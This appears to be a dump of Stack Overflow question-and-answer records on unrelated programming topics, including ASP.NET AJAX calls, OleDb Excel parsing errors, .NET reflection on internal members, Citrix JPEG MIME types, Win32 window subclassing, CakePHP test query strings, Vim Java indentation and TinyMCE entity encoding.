addLoadEvent(func) { var oldonload = window.onload; if (typeof window.onload != 'function') { window.onload = func; } else { window.onload = function() { if (oldonload) { oldonload(); } func(); } } } addLoadEvent(prepareLinks); ``` **UPDATE:** I've decided to accept Stevemegson's since his answer was the actual cause to my problem. But I'd like to share with yo a few alterantives I've found to this problem. *Stevemegson's Answer*: All I had to do was to change to a POST request and set the request header to JSON,that solved my problem on requesting Page Methods, but now I'm haing a hard time on handling the Response (I'll say more about that on another question). Here's the right code to get this stuff: ``` print("function prepareLinks() { var list = document.getElementById("search"); list.onclick = function() { var url = "PMS.aspx/GetData" return !grabFile(url); } }"); print("function grabFile(file) { var request = getHTTPObject(); if (request) { //Evento levantado pelo Servidor a cada mudança de Estado na //requisição assíncrona request.onreadystatechange = function() { parseResponse(request); }; //USE POST request.open('POST', file, true); //SET REQUEST TO JSON request.setRequestHeader('Content-Type', 'application/json'); // SEND REQUISITION request.send(null) return true; } else { return false; } }"); ``` *Brendan's Answer*: Through Brendan's answer I did a little research on the ICallBack Interface and the ICallBackEventHandler. To my surprise that's a way to develop aspx pages using Microsoft's implementation of AJAX Request's. This turns out to be a really interesting solution, since it dosen't require any JS Library to work out and it's inside .Net Framework and I believe that only a few people know about this stuff (at least those that are around me didn't know about it at all). If you wanna know more abou ICallBack check this [link text](http://msdn.microsoft.com/en-us/library/ms178208(VS.80).aspx "How to Implement ICallBack and what's all about") on MS or just copy and paste Brendan's answer. *A Third Solution:* Another solution I found was to instead of creating ASPX pages to handle my server side code I would implement HTML pages and call ASHX files that would do the same thing but they would use less bandwith than an ASPX page. One great about this solution is that I maged to make it work with POST and GET requisitions. Below is the code. ASHX Code: ``` print("Imports System.Web Imports System.Web.Services Public Class CustomHandler Implements System.Web.IHttpHandler Sub ProcessRequest(ByVal context As HttpContext) Implements IHttpHandler.ProcessRequest context.Response.ContentType = "text/plain" Dim strBuilder As New System.Text.StringBuilder strBuilder.Append("<p>") strBuilder.Append("Your name is: ") strBuilder.Append("<em>") strBuilder.Append(context.Request.Form(0)) strBuilder.Append("</em>") strBuilder.Append("</p>") context.Response.Write(strBuilder.ToString) End Sub ReadOnly Property IsReusable() As Boolean Implements IHttpHandler.IsReusable Get Return False End Get End Property End Class"); ``` JavaScript File: ``` print("function prepareLinks() { var list = document.getElementById("search"); list.onclick = function() { var url = "CustomHandler.ashx" return !grabFile(url); } }"); print("function grabFile(file) { var request = getHTTPObject(); if (request) { request.onreadystatechange = function() { parseResponse(request); }; //VERSÃO do POST request.open('POST', file, true); request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); request.send('name=Helton Valentini') return true; } else { return false; } }"); ``` With any of these three options we can make asynchronous calls without use JQuery, using our own Javacript or using the resources Microsoft embeeded on .Net Framework. I hope this helps our some of you.
You're requesting the URL with a GET, while the jQuery code uses a POST. I expect that a Page Method can only be called through a POST, to allow you to include any parameters in the body of your request. You may also need to set the Content-Type of your request to application/json, as the jQuery code does - I don't know whether or not .NET will accept other content types.
200,878
<p>Ok, let's see if I can make this make sense. </p> <p>I have a program written that parses an Excel file and it works just fine. I use the following to get into the file:</p> <pre><code>string FileToConvert = Server.MapPath(".") + "\\App_Data\\CP-ARFJN-FLAG.XLS"; string connectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + FileToConvert + ";Extended Properties=Excel 8.0;"; OleDbConnection connection = new OleDbConnection(connectionString); connection.Open(); //this next line assumes that the file is in default Excel format with Sheet1 as the first sheet name, adjust accordingly OleDbDataAdapter adapter = new OleDbDataAdapter("SELECT * FROM [CP-ARFJN-FLAG$]", connection); </code></pre> <p>and this works just fine. But when I try it on the actual file (it is supplied to me by another program) I get this error:</p> <pre><code>System.Data.OleDb.OleDbException: External table is not in the expected format. at System.Data.OleDb.OleDbConnectionInternal..ctor(OleDbConnectionString constr, OleDbConnection connection) at System.Data.OleDb.OleDbConnectionFactory.CreateConnection(DbConnectionOptions options, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningObject) at System.Data.ProviderBase.DbConnectionFactory.CreateNonPooledConnection(DbConnection owningConnection, DbConnectionPoolGroup poolGroup) at System.Data.ProviderBase.DbConnectionFactory.GetConnection(DbConnection owningConnection) at System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) at System.Data.OleDb.OleDbConnection.Open() at wetglobe.Page_Load(Object sender, EventArgs e) </code></pre> <p>BUT, this is where I think the problem lies. If I take that file, and save it with my local Excel, first I get this popup:</p> <blockquote> <p>CP-ARFJN-FLAG.XLS may contain features that are not compatible with Text (Tab delimited). Do you want to keep the workbook in this format?</p> <ul> <li>To Keep this format, which leaves out any incompatible features, click Yes.</li> <li>To preserve the features, click No. Ten save a copy in the latest Excel format.</li> <li>To see what might be lost, click Help.</li> </ul> </blockquote> <p>If I click No and then save it as the current Excel format, the program will then work fine.</p> <p>So I am assuming this is saved in some crazy old Excel format?</p> <p>I suppose my questions would be:</p> <ul> <li>How can I tell what Excel version saved this?</li> <li>How can I parse it in its current state?</li> <li>-or- Can I programatically save it as a newer version?</li> </ul> <p>I hope that is clear... Thank you.</p>
[ { "answer_id": 200946, "author": "Ed Harper", "author_id": 27825, "author_profile": "https://Stackoverflow.com/users/27825", "pm_score": 4, "selected": true, "text": "<p>It sounds like the XLS file generated by your third-party app may not really be in Excel format - it might actually be a tab-delimited text file with an .xls extension.</p>\n\n<p>Try opening it with a text editor and see. </p>\n\n<p>If it is tab delimited, you can ditch the OleDB adapter and open/parse it as a standard text file.</p>\n" }, { "answer_id": 201422, "author": "Richard Poole", "author_id": 26003, "author_profile": "https://Stackoverflow.com/users/26003", "pm_score": 0, "selected": false, "text": "<p>If the format of the generated file is likely to change in future (perhaps when you upgrade the third-party app), you may prefer to use the <a href=\"http://www.microsoft.com/downloads/details.aspx?familyid=59DAEBAA-BED4-4282-A28C-B864D8BFA513&amp;displaylang=en\" rel=\"nofollow noreferrer\">Office Primary Interop Assemblies</a>. These will load any version or format of file produced by Excel. The downside is that you'll need Office installed on the server.</p>\n" }, { "answer_id": 1068029, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": -1, "selected": false, "text": "<p>i solved the problem. The Excel file should be generated by MS EXCEL 2003, not from MS EXCEL 2007 \"save as 97-2003\".\nso you have to download a file from any source. Then copy the data manually to the sheet. it worked with me.</p>\n" }, { "answer_id": 61722978, "author": "4EverBalaji", "author_id": 13515359, "author_profile": "https://Stackoverflow.com/users/13515359", "pm_score": -1, "selected": false, "text": "<p><strong>Error</strong></p>\n\n<pre><code>[OleDbException] External table is not in the expected format. at System.Data.OleDb.OleDbConnectionInternal..ctor(OleDbConnectionString constr, OleDbConnection connection)\n at System.Data.OleDb.OleDbConnectionFactory.CreateConnection(DbConnectionOptions options, DbConnectionPoolKey poolKey, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningObject)\n at System.Data.ProviderBase.DbConnectionFactory.CreateNonPooledConnection(DbConnection owningConnection, DbConnectionPoolGroup poolGroup, DbConnectionOptions userOptions)\n at System.Data.ProviderBase.DbConnectionFactory.TryGetConnection(DbConnection owningConnection, TaskCompletionSource`1 retry, DbConnectionOptions userOptions, DbConnectionInternal oldConnection, DbConnectionInternal&amp; connection)\n at System.Data.ProviderBase.DbConnectionInternal.TryOpenConnectionInternal(DbConnection outerConnection, DbConnectionFactory connectionFactory, TaskCompletionSource`1 retry, DbConnectionOptions userOptions)\n at System.Data.ProviderBase.DbConnectionInternal.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory)\n at System.Data.OleDb.OleDbConnection.Open()\n</code></pre>\n\n<p><strong>Solution</strong></p>\n\n<p>I have faced above error in server side application.When you accessing many excel files at same time you can get this error.I have missed <code>connection.close()</code> and <code>connection.dispose()</code> methods in my code. After adding this code issue got resolved.\nIn catch block also you can add this code for safe side. <code>connection.open()</code> and <code>connection.dispose()</code> methods are mandatory for <code>Oledb</code> connection.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200878", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14777/" ]
Ok, let's see if I can make this make sense. I have a program written that parses an Excel file and it works just fine. I use the following to get into the file: ``` string FileToConvert = Server.MapPath(".") + "\\App_Data\\CP-ARFJN-FLAG.XLS"; string connectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + FileToConvert + ";Extended Properties=Excel 8.0;"; OleDbConnection connection = new OleDbConnection(connectionString); connection.Open(); //this next line assumes that the file is in default Excel format with Sheet1 as the first sheet name, adjust accordingly OleDbDataAdapter adapter = new OleDbDataAdapter("SELECT * FROM [CP-ARFJN-FLAG$]", connection); ``` and this works just fine. But when I try it on the actual file (it is supplied to me by another program) I get this error: ``` System.Data.OleDb.OleDbException: External table is not in the expected format. at System.Data.OleDb.OleDbConnectionInternal..ctor(OleDbConnectionString constr, OleDbConnection connection) at System.Data.OleDb.OleDbConnectionFactory.CreateConnection(DbConnectionOptions options, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningObject) at System.Data.ProviderBase.DbConnectionFactory.CreateNonPooledConnection(DbConnection owningConnection, DbConnectionPoolGroup poolGroup) at System.Data.ProviderBase.DbConnectionFactory.GetConnection(DbConnection owningConnection) at System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) at System.Data.OleDb.OleDbConnection.Open() at wetglobe.Page_Load(Object sender, EventArgs e) ``` BUT, this is where I think the problem lies. If I take that file, and save it with my local Excel, first I get this popup: > > CP-ARFJN-FLAG.XLS may contain features > that are not compatible with Text (Tab > delimited). Do you want to keep the > workbook in this format? > > > * To Keep this format, which leaves > out any incompatible features, click > Yes. > * To preserve the features, click No. > Ten save a copy in the latest Excel > format. > * To see what might be lost, click > Help. > > > If I click No and then save it as the current Excel format, the program will then work fine. So I am assuming this is saved in some crazy old Excel format? I suppose my questions would be: * How can I tell what Excel version saved this? * How can I parse it in its current state? * -or- Can I programatically save it as a newer version? I hope that is clear... Thank you.
It sounds like the XLS file generated by your third-party app may not really be in Excel format - it might actually be a tab-delimited text file with an .xls extension. Try opening it with a text editor and see. If it is tab delimited, you can ditch the OleDB adapter and open/parse it as a standard text file.
200,900
<p>I need to access some members marked internal that are declared in a third party assembly.</p> <p>I would like to return a value from a particular internal property in a class. Then I'd like to retrieve a value from a property on that returned value. However, these properties return types that are also internal and declared in this third party assembly.</p> <p>The examples of doing this I've seen are simple and just show returning int or bool. Can someone please give some example code that handles this more complex case?</p>
[ { "answer_id": 200941, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 1, "selected": false, "text": "<p>You can always retrieve it as an object and use reflection on the returned type to invoke its methods and access its properties.</p>\n" }, { "answer_id": 200991, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 3, "selected": true, "text": "<p>You just keep digging on the returned value (or the PropertyType of the PropertyInfo):</p>\n\n<p>u</p>\n\n<pre><code>sing System;\nusing System.Reflection;\npublic class Foo\n{\n public Foo() {Bar = new Bar { Name = \"abc\"};}\n internal Bar Bar {get;set;}\n}\npublic class Bar\n{\n internal string Name {get;set;}\n}\nstatic class Program\n{\n static void Main()\n {\n object foo = new Foo();\n PropertyInfo prop = foo.GetType().GetProperty(\n \"Bar\", BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance);\n object bar = prop.GetValue(foo, null);\n prop = bar.GetType().GetProperty(\n \"Name\", BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance);\n object name = prop.GetValue(bar, null);\n\n Console.WriteLine(name);\n }\n}\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200900", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6651/" ]
I need to access some members marked internal that are declared in a third party assembly. I would like to return a value from a particular internal property in a class. Then I'd like to retrieve a value from a property on that returned value. However, these properties return types that are also internal and declared in this third party assembly. The examples of doing this I've seen are simple and just show returning int or bool. Can someone please give some example code that handles this more complex case?
You just keep digging on the returned value (or the PropertyType of the PropertyInfo): u ``` sing System; using System.Reflection; public class Foo { public Foo() {Bar = new Bar { Name = "abc"};} internal Bar Bar {get;set;} } public class Bar { internal string Name {get;set;} } static class Program { static void Main() { object foo = new Foo(); PropertyInfo prop = foo.GetType().GetProperty( "Bar", BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance); object bar = prop.GetValue(foo, null); prop = bar.GetType().GetProperty( "Name", BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance); object name = prop.GetValue(bar, null); Console.WriteLine(name); } } ```
200,912
<p>Some files are uploaded with a reported MIME type:</p> <pre><code>image/x-citrix-pjpeg </code></pre> <p>They are valid jpeg files and I accept them as such.</p> <p>I was wondering however: why is the MIME type different?<br> Is there any difference in the format? or was this mimetype invented by some light bulb at citrix for no apparent reason?</p>
[ { "answer_id": 200959, "author": "Ólafur Waage", "author_id": 22459, "author_profile": "https://Stackoverflow.com/users/22459", "pm_score": 2, "selected": false, "text": "<p>The closest i have come to find out what this is, is this thread. Hope it helps.</p>\n\n<p><a href=\"http://forums.citrix.com/message.jspa?messageID=713174\" rel=\"nofollow noreferrer\">http://forums.citrix.com/message.jspa?messageID=713174</a></p>\n" }, { "answer_id": 200963, "author": "ConroyP", "author_id": 2287, "author_profile": "https://Stackoverflow.com/users/2287", "pm_score": 3, "selected": false, "text": "<p><code>image/x-citrix-pjpeg</code> seems to be the MIME type sent by images which are exported from a Citrix session. </p>\n\n<p>I haven't come across any format differences between them and regular JPEGs - most image conversion utilities will handle them the same as a regular pjpeg, once the appropriate mime-type rule is added.</p>\n\n<p>It's possible that in a Citrix session there is some internal magic done when managing jpegs which led them to create this mime-type, which they leave on the file when it's exported from their systems, but that's only my guess. As I say, I haven't noticed any actual format differences from the occasional files in this format we receive.</p>\n" }, { "answer_id": 646167, "author": "Jacco", "author_id": 22674, "author_profile": "https://Stackoverflow.com/users/22674", "pm_score": 5, "selected": true, "text": "<p><strong>Update:</strong><br>\nOk, I did some more searching and testing on this question, and it turns out they're all lying about MIME-type (never trust <em>any</em> info send by the client, I know).<br>\nI've checked a bunch of files with different encodings (created with libjpeg)</p>\n\n<p><code>Official</code> MIME type for jpeg files: <code>image/jpeg</code></p>\n\n<p>But some applications (most notably MS Internet Explores but also Yahoo! mail) send jpeg files as <code>image/pjpeg</code> </p>\n\n<blockquote>\n <p>I thought I knew that pjpeg stood for 'progressive' jpeg. It turns out that progressive/standard encoding has nothing to do with it.</p>\n</blockquote>\n\n<p>MS Internet explorer send out <em>all</em> jpeg files as pjpeg regardless of the contents of the file.</p>\n\n<p>The same goes for citrix: <em>all</em> jpeg files send from a citrix client are reported as the <code>image/x-citrix-pjpeg</code> MIME type.</p>\n\n<p>The files themselves are untouched (identical before and after upload). So it turns out that difference in MIME type is only an indication the software used to send the file?</p>\n\n<p>Why would people invent a new MIME type if there is no differences to the file contents?</p>\n" }, { "answer_id": 1297161, "author": "Otto", "author_id": 519, "author_profile": "https://Stackoverflow.com/users/519", "pm_score": 2, "selected": false, "text": "<p>For some reason, when people are running Internet Explorer via Citrix, it changes the mime type for GIF and JPG files.</p>\n\n<pre><code>JPG: image/x-citrix-pjpeg\nGIF: image/x-citrix-gif\n</code></pre>\n\n<p>Based on my testing, PNG files are not affected. I don't know if this is an Internet Explorer issue or Citrix.</p>\n" }, { "answer_id": 2600324, "author": "Paul Lloyd", "author_id": 311943, "author_profile": "https://Stackoverflow.com/users/311943", "pm_score": 2, "selected": false, "text": "<p>It's to do with a feature of Citrix called SpeedBrowse, which intercepts jpegs and gifs in webpages on the [Citrix] server side, so that it can send them whole via ICA (the Citrix remoting protocol) -- this is more efficient than screen-scraping them. As a previous poster suggested, this is implemented by marking the images with a changed mime type.</p>\n\n<p>IIRC it hooks <a href=\"http://msdn.microsoft.com/en-us/library/ms775107%28VS.85%29.aspx\" rel=\"nofollow noreferrer\">FindMimeFromData</a> in IE to change the mime type on the fly, but this is being applied to uploaded files as well as downloaded ones - surely a bug.</p>\n" }, { "answer_id": 9808683, "author": "Zippy", "author_id": 1283934, "author_profile": "https://Stackoverflow.com/users/1283934", "pm_score": 1, "selected": false, "text": "<p>From what I recall the Progressive JPG format is the one that would allow the image to be shown with progressively higher resolution as the download of the file progressed. I am not entirely aware of the details, but if you remember back in the days of dial up, some files would show blurry, then better and eventually complete as they were downloaded. For this to work the data needs to be sent in a different order than a JPEG would typically be sent. </p>\n\n<p>The actual data, once you view it, is identical it is just sent in a different order. The JPEG encoding itself may very well group pixels differently, I forget.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200912", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22674/" ]
Some files are uploaded with a reported MIME type: ``` image/x-citrix-pjpeg ``` They are valid jpeg files and I accept them as such. I was wondering however: why is the MIME type different? Is there any difference in the format? or was this mimetype invented by some light bulb at citrix for no apparent reason?
**Update:** Ok, I did some more searching and testing on this question, and it turns out they're all lying about MIME-type (never trust *any* info send by the client, I know). I've checked a bunch of files with different encodings (created with libjpeg) `Official` MIME type for jpeg files: `image/jpeg` But some applications (most notably MS Internet Explores but also Yahoo! mail) send jpeg files as `image/pjpeg` > > I thought I knew that pjpeg stood for 'progressive' jpeg. It turns out that progressive/standard encoding has nothing to do with it. > > > MS Internet explorer send out *all* jpeg files as pjpeg regardless of the contents of the file. The same goes for citrix: *all* jpeg files send from a citrix client are reported as the `image/x-citrix-pjpeg` MIME type. The files themselves are untouched (identical before and after upload). So it turns out that difference in MIME type is only an indication the software used to send the file? Why would people invent a new MIME type if there is no differences to the file contents?
200,924
<p>I'm subclassing a native window (the edit control of a combobox...)</p> <p>oldWndProc = SetWindowLong(HandleOfCbEditControl, GWL_WNDPROC, newWndProc);</p> <p>In my subclassing wndproc, I'll have code like this, right, but I can't figure out the syntax for calling the oldWndProc.</p> <pre><code> int MyWndProc(int Msg, int wParam, int lParam) { if (Msg.m == something I'm interested in...) { return something special } else { return result of call to oldWndProc &lt;&lt;&lt;&lt; What does this look like?*** } } </code></pre> <p>EDIT: The word "subclassing" in this question refers to the WIN32 API meaning, not C#. Subclassing here doesn't mean overriding the .NET base class behavior. It means telling WIN32 to call your function pointer instead of the windows current callback. It has nothing to do with inheritence in C#.</p>
[ { "answer_id": 200953, "author": "kenny", "author_id": 3225, "author_profile": "https://Stackoverflow.com/users/3225", "pm_score": 0, "selected": false, "text": "<p>This <a href=\"http://www.pinvoke.net/\" rel=\"nofollow noreferrer\">site</a> will be very helpful with all of your interop/p-invoke efforts (<a href=\"http://www.pinvoke.net/default.aspx/user32/SetWindowLong.html\" rel=\"nofollow noreferrer\">SetWindowLong</a>)</p>\n" }, { "answer_id": 200978, "author": "ctacke", "author_id": 13154, "author_profile": "https://Stackoverflow.com/users/13154", "pm_score": 3, "selected": true, "text": "<p>You'll call <a href=\"http://msdn.microsoft.com/en-us/library/aa452919.aspx\" rel=\"nofollow noreferrer\">CallWindowProc</a> by P/Invoke. Just define the parameters as int variables (as it looks like that's how you defined them in the SetWindowLong call), so something like this:</p>\n\n<p>[DllImport(\"CallWindowProc\"...]\npublic static extern int CallWindowProc(int previousProc, int nativeControlHandle, int msg, int lParam, int wParam);</p>\n\n<p>Remember, that for marshaling, int, uint and IntPtr are all identical.</p>\n" }, { "answer_id": 201144, "author": "Martin Plante", "author_id": 4898, "author_profile": "https://Stackoverflow.com/users/4898", "pm_score": 1, "selected": false, "text": "<p>You should use CallWindowProc to call that oldWndProc pointer.</p>\n\n<pre><code>[DllImport(\"user32\")]\nprivate static extern int CallWindowProc(IntPtr lpPrevWndFunc, IntPtr hWnd, int Msg, int wParam, int lParam);\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200924", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9328/" ]
I'm subclassing a native window (the edit control of a combobox...) oldWndProc = SetWindowLong(HandleOfCbEditControl, GWL\_WNDPROC, newWndProc); In my subclassing wndproc, I'll have code like this, right, but I can't figure out the syntax for calling the oldWndProc. ``` int MyWndProc(int Msg, int wParam, int lParam) { if (Msg.m == something I'm interested in...) { return something special } else { return result of call to oldWndProc <<<< What does this look like?*** } } ``` EDIT: The word "subclassing" in this question refers to the WIN32 API meaning, not C#. Subclassing here doesn't mean overriding the .NET base class behavior. It means telling WIN32 to call your function pointer instead of the windows current callback. It has nothing to do with inheritence in C#.
You'll call [CallWindowProc](http://msdn.microsoft.com/en-us/library/aa452919.aspx) by P/Invoke. Just define the parameters as int variables (as it looks like that's how you defined them in the SetWindowLong call), so something like this: [DllImport("CallWindowProc"...] public static extern int CallWindowProc(int previousProc, int nativeControlHandle, int msg, int lParam, int wParam); Remember, that for marshaling, int, uint and IntPtr are all identical.
200,925
<p>In CakePHP putting a querystring in the url doesn't cause it to be automatically parsed and split like it normally is when the controller is directly invoked. </p> <p>For example:</p> <pre><code>$this-&gt;testAction('/testing/post?company=utCompany', array('return' =&gt; 'vars')) ; </code></pre> <p>will result in:</p> <pre><code>[url] =&gt; /testing/post?company=utCompany </code></pre> <p>While invoking the url directly via the web browser results in:</p> <pre><code>[url] =&gt; Array ( [url] =&gt; testing/post [company] =&gt; utCompany ) </code></pre> <p>Without editing the CakePHP source, is there some way to have the querystring split when running unit tests?</p>
[ { "answer_id": 201120, "author": "Ryan Boucher", "author_id": 27818, "author_profile": "https://Stackoverflow.com/users/27818", "pm_score": 2, "selected": false, "text": "<p>I have what is either a hack (i.e. may not work for future CakePHP releases) or an undocumented feature.</p>\n\n<p>If the second testAction parameter includes an named array called 'url' then the values will be placed in the $this->params object in the controller. This gives us the same net result as when the controller is directly invoked.</p>\n\n<pre><code>$data = array ('company' =&gt; 'utCompany') ;\n\n$result = $this-&gt;testAction('/testing/post', array\n(\n 'return' =&gt; 'vars', \n 'method' =&gt; 'get', \n 'url' =&gt; $data)\n) ; \n</code></pre>\n\n<p>I'm satisfied with this method for what I need to do. I'll open the question to the community shortly so that it in the future a better answer can be provided.</p>\n" }, { "answer_id": 201451, "author": "Ryan Boucher", "author_id": 27818, "author_profile": "https://Stackoverflow.com/users/27818", "pm_score": 0, "selected": false, "text": "<p>CakePHP does provide some level of url splitting but it only seems to work in the run-time configuration and not the test configuration. I'll contact the CakePHP if this is intentional.</p>\n\n<p>I suggestion for your querystring parser would be to use the PHP function <a href=\"http://au.php.net/manual/en/function.explode.php\" rel=\"nofollow noreferrer\">explode</a>.</p>\n\n<p>I believe you can do something like this:</p>\n\n<pre><code>$result = explode ('&amp;', $queryString, -1) ;\n</code></pre>\n\n<p>which would give you your key-pairs in seperate array slots upon which you can iterate and perform a second explode like so:</p>\n\n<pre><code>$keyPair = explode ('=', $result[n], -1) ;\n</code></pre>\n\n<p>However, all this being said it would be better to peek under the hood of CakePHP and see what they are doing. </p>\n\n<p>What I typed above won't correctly handle situations where your querystring contains html escaped characters (prefixed with &amp;), nor will it handle hex encoded url strings.</p>\n" }, { "answer_id": 1666150, "author": "SMSM", "author_id": 200489, "author_profile": "https://Stackoverflow.com/users/200489", "pm_score": -1, "selected": false, "text": "<p>use _GET['parmname'];</p>\n" }, { "answer_id": 4947167, "author": "Joel Moss", "author_id": 291739, "author_profile": "https://Stackoverflow.com/users/291739", "pm_score": 1, "selected": false, "text": "<p>None of these answers will woerk in Cake 1.3. You should instead set the following before your testAction call:</p>\n\n<p><code>$this-&gt;__savedGetData['company'] = 'utcompany';</code></p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200925", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27818/" ]
In CakePHP putting a querystring in the url doesn't cause it to be automatically parsed and split like it normally is when the controller is directly invoked. For example: ``` $this->testAction('/testing/post?company=utCompany', array('return' => 'vars')) ; ``` will result in: ``` [url] => /testing/post?company=utCompany ``` While invoking the url directly via the web browser results in: ``` [url] => Array ( [url] => testing/post [company] => utCompany ) ``` Without editing the CakePHP source, is there some way to have the querystring split when running unit tests?
I have what is either a hack (i.e. may not work for future CakePHP releases) or an undocumented feature. If the second testAction parameter includes an named array called 'url' then the values will be placed in the $this->params object in the controller. This gives us the same net result as when the controller is directly invoked. ``` $data = array ('company' => 'utCompany') ; $result = $this->testAction('/testing/post', array ( 'return' => 'vars', 'method' => 'get', 'url' => $data) ) ; ``` I'm satisfied with this method for what I need to do. I'll open the question to the community shortly so that it in the future a better answer can be provided.
200,932
<p>When indenting java code with annotations, vim insists on indenting like this:</p> <pre><code>@Test public void ... </code></pre> <p>I want the annotation to be in the same column as the method definition but I can't seem to find a way to tell vim to do that, except maybe using an indent expression but I'm not sure if I can use that together with regular cindent.</p> <p>edit: The filetype plugin was already turned on I just got a bit confused about indenting plugins. The accepted answer may be a bit hackish but works for me as well.</p>
[ { "answer_id": 211820, "author": "WMR", "author_id": 2844, "author_profile": "https://Stackoverflow.com/users/2844", "pm_score": 4, "selected": true, "text": "<p>Edit: I cannot delete my own answer because it has already been accepted, but <a href=\"https://stackoverflow.com/a/4414015/2844\">@pydave's answer</a> seems to be the better (more robust) solution.\n<hr>\nYou should probably be using the indentation file for the java FileType (instead of using cindent) by setting <code>filetype plugin indent on</code>. </p>\n\n<p>That said, the indentation file coming with the Vim 7.1 from my linux distribution (looking at the current vim svn this is still true for 7.2) doesn't account for annotations yet. I therefore copied <code>/usr/share/vim/vim71/indent/java.vim</code> (see <a href=\"https://vim.svn.sourceforge.net/svnroot/vim/branches/vim7.1/runtime/indent/java.vim\" rel=\"nofollow noreferrer\">https://vim.svn.sourceforge.net/svnroot/vim/branches/vim7.1/runtime/indent/java.vim</a>) to <code>~/.vim/indent/java.vim</code> and added the following lines right before the end:</p>\n\n<pre><code>let lnum = prevnonblank(v:lnum - 1)\nlet line = getline(lnum)\nif line =~ '^\\s*@.*$'\n let theIndent = indent(lnum)\nendif\n</code></pre>\n\n<p>I'm not sure if this breaks any of the other indentations, but it works for me.</p>\n" }, { "answer_id": 4414015, "author": "idbrii", "author_id": 79125, "author_profile": "https://Stackoverflow.com/users/79125", "pm_score": 4, "selected": false, "text": "<p>You shouldn't modify the built-in vim settings. Your changes could disappear after a package upgrade. If you copy it to your .vim, then you won't get any java indent bug fixes.</p>\n\n<p>Instead, put the following into a new file called <code>~/.vim/after/indent/java.vim</code></p>\n\n<pre><code>function! GetJavaIndent_improved()\n let theIndent = GetJavaIndent()\n let lnum = prevnonblank(v:lnum - 1)\n let line = getline(lnum)\n if line =~ '^\\s*@.*$'\n let theIndent = indent(lnum)\n endif\n\n return theIndent\nendfunction\nsetlocal indentexpr=GetJavaIndent_improved()\n</code></pre>\n\n<p>That way it loads the stock java indent and only modifies the indent to remove the annotation indents.</p>\n" }, { "answer_id": 20473172, "author": "Will Richey", "author_id": 3083194, "author_profile": "https://Stackoverflow.com/users/3083194", "pm_score": 1, "selected": false, "text": "<p>I found pydave's suggestion <em>almost</em> what I wanted, but I wanted this:</p>\n\n<pre><code>@Override\npublic void ...\n</code></pre>\n\n<p><strong>and</strong> this:</p>\n\n<pre><code>@Override public void ...\n</code></pre>\n\n<p>so I replaced the regex (as per pydave's, place in <code>~/.vim/after/indent/java.vim</code>):</p>\n\n<pre><code>setlocal indentexpr=GetJavaIndent_improved()\n\nfunction! GetJavaIndent_improved()\n let theIndent = GetJavaIndent()\n let lnum = prevnonblank(v:lnum - 1)\n let line = getline(lnum)\n if line =~ '^\\s*@[^{]*$'\n let theIndent = indent(lnum)\n endif\n\n return theIndent\nendfunction\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200932", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10098/" ]
When indenting java code with annotations, vim insists on indenting like this: ``` @Test public void ... ``` I want the annotation to be in the same column as the method definition but I can't seem to find a way to tell vim to do that, except maybe using an indent expression but I'm not sure if I can use that together with regular cindent. edit: The filetype plugin was already turned on I just got a bit confused about indenting plugins. The accepted answer may be a bit hackish but works for me as well.
Edit: I cannot delete my own answer because it has already been accepted, but [@pydave's answer](https://stackoverflow.com/a/4414015/2844) seems to be the better (more robust) solution. --- You should probably be using the indentation file for the java FileType (instead of using cindent) by setting `filetype plugin indent on`. That said, the indentation file coming with the Vim 7.1 from my linux distribution (looking at the current vim svn this is still true for 7.2) doesn't account for annotations yet. I therefore copied `/usr/share/vim/vim71/indent/java.vim` (see <https://vim.svn.sourceforge.net/svnroot/vim/branches/vim7.1/runtime/indent/java.vim>) to `~/.vim/indent/java.vim` and added the following lines right before the end: ``` let lnum = prevnonblank(v:lnum - 1) let line = getline(lnum) if line =~ '^\s*@.*$' let theIndent = indent(lnum) endif ``` I'm not sure if this breaks any of the other indentations, but it works for me.
200,939
<p>I am using tinyMCE as my text editor on my site and i want to reformat the text before saving it to my database (changing the &amp;rsquo; tags into ' then in to &amp;#39;). I cannot find a simple way of doing this using tinyMCe and using htmlentities() changes everything including &lt;>. Any ideas?</p>
